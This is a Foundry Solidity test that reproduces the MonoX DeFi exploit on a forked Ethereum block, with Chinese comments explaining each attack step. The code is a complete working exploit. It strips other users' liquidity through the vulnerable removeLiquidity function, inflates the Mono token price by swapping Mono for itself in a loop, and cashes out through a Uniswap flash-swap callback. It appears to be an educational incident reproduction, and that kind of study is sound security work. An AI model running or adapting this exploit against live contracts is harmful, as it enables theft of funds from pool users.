1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| contract test_Monox is Test{
function setUp() public { vm.createSelectFork("https://rpc.ankr.com/eth", 13_715_025); } //首先folk以太坊上对应区块的状态 function test_Monox_exploit() public { IERC20(Mono).approve(address(Monoswap), type(uint256).max); IERC20(weth).deposit{value: address(this).balance, gas: 40_000}();
console.log("WETH balance: ", IERC20(weth).balanceOf(address(this))); IERC20(weth).approve(address(Monoswap), 0.1 ether); //在进行对应的代币转移的时候,一定要记得先进行approve操作 IMonoswap(Monoswap).swapExactTokenForToken(weth, Mono, 0.1 ether, 1, address(this), 1638278872); console.log("Mono balance: ", IERC20(Mono).balanceOf(address(this))); //提取weth,并调用monoswap的函数,将0.1weth换成对应的Mono代币,易进行后续操作 remove_liquidity_user(); uint liquidity = IMonoswap(Monoswap).addLiquidity(address(Mono), 196975656, address(this)); console.log("attacker gain liquidity: ", liquidity); //攻击者自己添加对应的流动性,获得对应LP流动性证明,为后续拉升Mono价格做准备 raise_mono_price();
swap_mono_for_weth(); //将对应高价格的mono代币置换成weth
}
function remove_liquidity_user() public { (uint pid,,,,,,,,) = IMonoswap(Monoswap).pools(address(Mono)); uint balance = IMonoXPool(MonoXPool).totalSupplyOf(pid); console.log("pid: ", pid); console.log("monoXpool's mono balance: ", balance);
uint balance1 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user1), pid); IMonoswap(Monoswap).removeLiquidity(address(Mono), balance1, address(liquidity_user1), 0, 1);
uint balance2 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user2), pid); IMonoswap(Monoswap).removeLiquidity(address(Mono), balance2, address(liquidity_user2), 0, 1);
uint balance3 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user3), pid); IMonoswap(Monoswap).removeLiquidity(address(Mono), balance3, address(liquidity_user3), 0, 1); //漏洞函数,根据phalcon的调用序列,移除对应用户的流动性 uint balance_afterremove = IMonoXPool(MonoXPool).totalSupplyOf(pid); console.log("monoXpool's mono balance after remove liquidity", balance_afterremove); }
function raise_mono_price() public { for(uint i = 0 ; i < 55 ; i++){ (uint pid ,,,,,,uint tokenBalance,uint price, ) = IMonoswap(Monoswap).pools(address(Mono)); uint balance = IERC20(Mono).balanceOf(address(this));
IMonoswap(Monoswap).swapExactTokenForToken(address(Mono), address(Mono), tokenBalance ,0, address(this), 1638278872);
console.log("Mono token Price - ",i,": ", price); } //按照对应的调用序列,得到池子里的Mono余额,并调用对应的漏洞函数,swapEaxctTokenForToken }
function swap_mono_for_weth() public { uint weth_balance = IERC20(weth).balanceOf(address(this)); console.log("attacker weth balance: ", weth_balance);
uint mono_balance = IERC20(Mono).balanceOf(address(this)); console.log("attacker mono balance: ", mono_balance);
IuniswapV2pair(uniswapv2pair).swap(0, 547_206_697_433_507_365_949, address(this), "0x00"); //闪电贷,借贷weth和usdc的pair对 uint weth_balance2 = IERC20(weth).balanceOf(address(this)); console.log("attacker weth balance: ", weth_balance2 - weth_balance);
uint mono_balance2 = IERC20(Mono).balanceOf(address(this)); console.log("attacker mono balance: ", mono_balance - mono_balance2); }
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{
uint balance = IERC20(Mono).balanceOf(address(this)); IMonoswap(Monoswap).swapTokenForExactToken(address(Mono), address(usdc), balance, 4029106880396, address(this), 1638278872);
bool success = IERC20(usdc).transfer(address(uniswapv2pair),3029106880396);
require(success); //在回调函数中,调用monoswap对应的函数,将mono换成对应的usdc,实现对应的usdc还款。
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){ bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); // a = 0xf23a6e61 return a; } //在添加流动性的时候,会回调对应的函数,否则会报错 }
|